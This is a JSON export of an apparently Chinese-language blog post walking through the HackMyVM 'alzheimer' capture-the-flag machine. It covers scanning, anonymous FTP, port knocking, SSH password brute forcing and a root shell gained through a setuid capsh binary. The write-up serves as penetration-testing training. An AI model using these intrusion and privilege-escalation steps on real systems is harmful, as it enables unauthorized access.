{"id":536,"date":"2024-04-12T16:21:54","date_gmt":"2024-04-12T08:21:54","guid":{"rendered":"http:\/\/162.14.82.114\/?p=536"},"modified":"2024-04-12T16:21:54","modified_gmt":"2024-04-12T08:21:54","slug":"hmv-_-alzheimer","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/536\/04\/12\/2024\/","title":{"rendered":"hmv[-_-]alzheimer"},"content":{"rendered":"

alzheimer<\/h1>\n

\"image-20240412153023085\"<\/div>
\n
\"image-20240412153113588\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
rustscan -a 172.20.10.4 -- -A<\/code><\/pre>\n
Open 172.20.10.4:80\nOpen 172.20.10.4:21<\/code><\/pre>\n
PORT   STATE SERVICE REASON  VERSION\n21\/tcp open  ftp     syn-ack vsftpd 3.0.3\n|_ftp-anon: Anonymous FTP login allowed (FTP code 230)\n| ftp-syst: \n|   STAT: \n| FTP server status:\n|      Connected to ::ffff:172.20.10.8\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      At session startup, client count was 1\n|      vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n80\/tcp open  http    syn-ack nginx 1.14.2\n| http-methods: \n|_  Supported Methods: GET HEAD\n|_http-title: Site doesn't have a title (text\/html).\n|_http-server-header: nginx\/1.14.2\nService Info: OS: Unix<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
gobuster dir -u http:\/\/172.20.10.4 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,git,jpg,txt,png<\/code><\/pre>\n
===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/172.20.10.4\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,zip,git,jpg,txt,png\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/home                 (Status: 301) [Size: 185] [--> http:\/\/172.20.10.4\/home\/]\n\/admin                (Status: 301) [Size: 185] [--> http:\/\/172.20.10.4\/admin\/]\n\/secret               (Status: 301) [Size: 185] [--> http:\/\/172.20.10.4\/secret\/]\nProgress: 1543920 \/ 1543927 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
http:\/\/172.20.10.4<\/code><\/pre>\n
I dont remember where I stored my password :( I only remember that was into a .txt file... -medusa <\/code><\/pre>\n
\u8bbf\u95ee\u654f\u611f\u7aef\u53e3<\/h3>\n
\u67e5\u770b\u4e00\u4e0bftp\u670d\u52a1\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/alzheimer]\n\u2514\u2500$ ftp 172.20.10.4                                                \nConnected to 172.20.10.4.\n220 (vsFTPd 3.0.3)\nName (172.20.10.4:kali): anonymous\n331 Please specify the password.\nPassword: \n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp> pwd\nRemote directory: \/\nftp> ls -la\n229 Entering Extended Passive Mode (|||59901|)\n150 Here comes the directory listing.\ndrwxr-xr-x    2 0        113          4096 Oct 03  2020 .\ndrwxr-xr-x    2 0        113          4096 Oct 03  2020 ..\n-rw-r--r--    1 0        0             116 Apr 12 03:31 .secretnote.txt\n226 Directory send OK.\nftp> get .secretnote.txt\nlocal: .secretnote.txt remote: .secretnote.txt\n229 Entering Extended Passive Mode (|||52929|)\n150 Opening BINARY mode data connection for .secretnote.txt (116 bytes).\n100% |***********************************************************************************************************|   116        5.02 MiB\/s    00:00 ETA\n226 Transfer complete.\n116 bytes received in 00:00 (206.34 KiB\/s)\nftp> exit\n221 Goodbye.\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/alzheimer]\n\u2514\u2500$ cat .secretnote.txt                                                                                                          \nI need to knock this ports and \none door will be open!\n1000\n2000\n3000\nIhavebeenalwayshere!!!\nIhavebeenalwayshere!!!<\/code><\/pre>\n
\u5c1d\u8bd5knock\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/alzheimer]\n\u2514\u2500$ knock 172.20.10.4 1000 2000 3000 -v\nhitting tcp 172.20.10.4:1000\nhitting tcp 172.20.10.4:2000\nhitting tcp 172.20.10.4:3000<\/code><\/pre>\n
\u626b\u63cf\u4e00\u4e0b\uff1a<\/p>\n
rustscan -a 172.20.10.4 -- -A \n\nOpen 172.20.10.4:21\nOpen 172.20.10.4:22\nOpen 172.20.10.4:80\n\nPORT   STATE SERVICE REASON  VERSION\n21\/tcp open  ftp     syn-ack vsftpd 3.0.3\n|_ftp-anon: Anonymous FTP login allowed (FTP code 230)\n| ftp-syst: \n|   STAT: \n| FTP server status:\n|      Connected to ::ffff:172.20.10.8\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      At session startup, client count was 1\n|      vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n22\/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 b1:3b:2b:36:e5:6b:d7:2a:6d:ef:bf:da:0a:5d:2d:43 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs85YDBcxYDtBVawUlW6wndoVx691rVPkDX1AZvqf11RRhMsmwAg\/1Du8YK\/1ZSEmRXgHTvku0QEKNbRUxmFiD++cLKQEf9G23IjnauIX6oQHcY2mzeSHduiGzDvCNc0m6HhAODMWGbVoA77V63WSJ\/bf1gC7JxxObyma0BNgeYbTQQUrMsHAsIr2cJhV19W5KL5Kq46jfYLTbFxnAs+qKC9vXAw6qaxy\/1hHtc+iIhUNs5c\/olTqWPPJ1gh0v6wthdeKb6BvyodbpMOhLOvZ6TPF3ZVaSmnZCAKxb6h7nbiOGroI65F+Cs0oWulVQYw+Bm7u2eZFLLQeWfMC5xUz5\n|   256 35:f1:70:ab:a3:66:f1:d6:d7:2c:f7:d1:24:7a:5f:2b (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNRlZlETQeEZ1ir3SKl9NFhI0TNnA+WtTRef7JwxnvOJ6ZbYjA3YvIMkUUriD9LbRPtEcAkAznKsszdMmmn1QeE=\n|   256 be:15:fa:b6:81:d6:7f:ab:c8:1c:97:a5:ea:11:85:4e (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARsN37DwrXI1N7ruOs+QzaKlmXNmdVtID5\/Qyi2SlvL\n80\/tcp open  http    syn-ack nginx 1.14.2\n|_http-server-header: nginx\/1.14.2\n|_http-title: Site doesn't have a title (text\/html).\n| http-methods: \n|_  Supported Methods: GET HEAD\nService Info: OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u5f00\u653e\u4e8622\u7aef\u53e3\u3002<\/p>\n
\u8bbf\u95ee\u654f\u611f\u76ee\u5f55<\/h3>\n
http:\/\/172.20.10.4\/admin\/<\/code><\/pre>\n
403 Forbidden\nnginx\/1.14.2<\/code><\/pre>\n
http:\/\/172.20.10.4\/secret\/<\/code><\/pre>\n
Maybe my password is in this secret folder? <\/code><\/pre>\n
http:\/\/172.20.10.4\/home\/<\/code><\/pre>\n
Maybe my pass is at home! -medusa <\/code><\/pre>\n
\u91cd\u65b0\u626b\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/alzheimer]\n\u2514\u2500$ feroxbuster -u http:\/\/172.20.10.4 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -d 2 -s 200 301 302\n ___  ___  __   __     __      __         __   ___\n|__  |__  |__) |__) | \/  `    \/  \\ \\_\/ | |  \\ |__\n|    |___ |  \\ |  \\ | \\__,    \\__\/ \/ \\ | |__\/ |___\nby Ben "epi" Risher \ud83e\udd13                 ver: 2.10.2\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \ud83c\udfaf  Target Url            \u2502 http:\/\/172.20.10.4\n \ud83d\ude80  Threads               \u2502 50\n \ud83d\udcd6  Wordlist              \u2502 \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n \ud83d\udc4c  Status Codes          \u2502 [200, 301, 302]\n \ud83d\udca5  Timeout (secs)        \u2502 7\n \ud83e\udda1  User-Agent            \u2502 feroxbuster\/2.10.2\n \ud83d\udc89  Config File           \u2502 \/etc\/feroxbuster\/ferox-config.toml\n \ud83d\udd0e  Extract Links         \u2502 true\n \ud83c\udfc1  HTTP methods          \u2502 [GET]\n \ud83d\udd03  Recursion Depth       \u2502 2\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \ud83c\udfc1  Press [ENTER] to use the Scan Management Menu\u2122\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n200      GET        5l       27w      132c http:\/\/172.20.10.4\/\n301      GET        7l       12w      185c http:\/\/172.20.10.4\/home => http:\/\/172.20.10.4\/home\/\n301      GET        7l       12w      185c http:\/\/172.20.10.4\/admin => http:\/\/172.20.10.4\/admin\/\n301      GET        7l       12w      185c http:\/\/172.20.10.4\/secret => http:\/\/172.20.10.4\/secret\/\n301      GET        7l       12w      185c http:\/\/172.20.10.4\/secret\/home => http:\/\/172.20.10.4\/secret\/home\/<\/code><\/pre>\n
\u5c1d\u8bd5\u8bbf\u95ee\uff1a<\/p>\n
http:\/\/172.20.10.4\/secret\/home\/<\/code><\/pre>\n
Im trying a lot. Im sure that i will recover my pass! -medusa\n\n<!---. --- - .... .. -. --. --><\/code><\/pre>\n
\u89e3\u5bc6\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240412155421132\"<\/div><\/p>\n
\u7528\u6237\u540d\u5e94\u8be5\u662fmedusa<\/code>\uff0c\u5bc6\u7801\u5c1d\u8bd5\uff1a<\/p>\n
OTHING\nothing\npass\npass!\n-medusa\nIhavebeenalwayshere!!!\nIhavebeenalwayshere\none door will be open!<\/code><\/pre>\n
\u5148\u7206\u7834\u4e00\u4e0b\uff1f<\/p>\n
\"image-20240412155903778\"<\/div><\/p>\n
\u4e0d\u5bf9\uff0c\u96be\u9053\u662f\u5927\u5c0f\u5199\uff1f<\/p>\n
ihavebeenalwayshere!!!\nihavebeenalwayshere!!\nihavebeenalwayshere!\nihavebeenalwayshere\nMedusa\nPass\nPass!<\/code><\/pre>\n
\"image-20240412160548556\"<\/div><\/p>\n
\u989d\u3002\u3002\u3002\u3002<\/p>\n
\u53ef\u80fd\u6f0f\u4e86\u5565\u4e1c\u897f\uff0c\u56de\u5934\u518d\u770b\u770b\uff0c\u4e3b\u9875\u5b83\u8bf4\u5b83\u7684\u5bc6\u7801\u5728\u4e00\u4e2atxt\u6587\u4ef6\u4e2d\uff0c\u800ctxt\u6587\u4ef6\u53ea\u6709\u4e00\u4e2a\uff0c\u5c06\u91cc\u9762\u7684\u5b57\u7b26\u6574\u7406\u4e3a\u4e00\u4e2a\u5b57\u5178\uff0c\u7136\u540e\u7206\uff0c\u7206\u4e2a\u6bdb\uff0c\u6211\u53c2\u6570\u5199\u9519\u4e86\u3002\u3002\u3002<\/p>\n
\u770b\u5230\u4e86\u5417hydra -P<\/code>\u53c2\u6570\u6211\u5199\u6210\u4e86-p<\/code>\uff0c\u54c8\u54c8\u54c8\uff1a<\/p>\n
\"image-20240412161502627\"<\/div><\/p>\n
\u51fa\u6765\u8fa3\uff01\uff01\uff01<\/p>\n
\u5c1d\u8bd5\u8fde\u63a5\uff1a<\/p>\n
\"image-20240412161545326\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
medusa@alzheimer:~$ pwd\n\/home\/medusa\nmedusa@alzheimer:~$ ls -la\ntotal 32\ndrwxr-xr-x 3 medusa medusa 4096 Oct  3  2020 .\ndrwxr-xr-x 3 root   root   4096 Oct  2  2020 ..\n-rw-r--r-- 1 medusa medusa  220 Oct  2  2020 .bash_logout\n-rw-r--r-- 1 medusa medusa 3526 Oct  2  2020 .bashrc\ndrwxr-xr-x 3 medusa medusa 4096 Oct  3  2020 .local\n-rw-r--r-- 1 medusa medusa  807 Oct  2  2020 .profile\n-rw-r--r-- 1 medusa medusa   19 Oct  3  2020 user.txt\n-rw------- 1 medusa medusa  107 Oct  3  2020 .Xauthority\nmedusa@alzheimer:~$ cat user.txt \nHMVrespectmemories\nmedusa@alzheimer:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/bin\/chsh\n\/usr\/bin\/sudo\n\/usr\/bin\/mount\n\/usr\/bin\/newgrp\n\/usr\/bin\/su\n\/usr\/bin\/passwd\n\/usr\/bin\/chfn\n\/usr\/bin\/umount\n\/usr\/bin\/gpasswd\n\/usr\/sbin\/capsh\nmedusa@alzheimer:~$ file \/usr\/sbin\/capsh\n\/usr\/sbin\/capsh: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=59572cc89caf302f03aba7f3a6778088d476b579, stripped\nmedusa@alzheimer:~$ sudo -l\nMatching Defaults entries for medusa on alzheimer:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser medusa may run the following commands on alzheimer:\n    (ALL) NOPASSWD: \/bin\/id\nmedusa@alzheimer:~$ file \/bin\/id\n\/bin\/id: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=f940fbdb75f5fe6de351de744d0cb0384b88f355, stripped<\/code><\/pre>\n
\u627e\u4e00\u4e0b\u5229\u7528\u65b9\u6cd5\uff1ahttps:\/\/gtfobins.github.io\/gtfobins\/capsh\/<\/a><\/p>\n
\"image-20240412161957411\"<\/div><\/p>\n
\u5c1d\u8bd5\u5229\u7528\uff1a<\/p>\n
medusa@alzheimer:~$ capsh --gid=0 --uid=0 --\n-bash: capsh: command not found\nmedusa@alzheimer:~$ \/usr\/sbin\/capsh --gid=0 --uid=0 --\nroot@alzheimer:~# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(medusa)\nroot@alzheimer:~# cd \/root\nroot@alzheimer:\/root# ls -la\ntotal 24\ndrwx------  3 root root 4096 Oct  3  2020 .\ndrwxr-xr-x 18 root root 4096 Oct  2  2020 ..\n-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc\ndrwxr-xr-x  3 root root 4096 Oct  2  2020 .local\n-rw-r--r--  1 root root  148 Aug 17  2015 .profile\n-rw-r-----  1 root root   16 Oct  3  2020 root.txt\nroot@alzheimer:\/root# cat root.txt \nHMVlovememories<\/code><\/pre>\n
\u62ff\u5230flag\uff01\uff01\uff01lol\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
alzheimer \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 172.20.10.4 — -A Open  […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-536","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/536","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=536"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/536\/revisions"}],"predecessor-version":[{"id":537,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/536\/revisions\/537"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=536"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=536"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=536"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}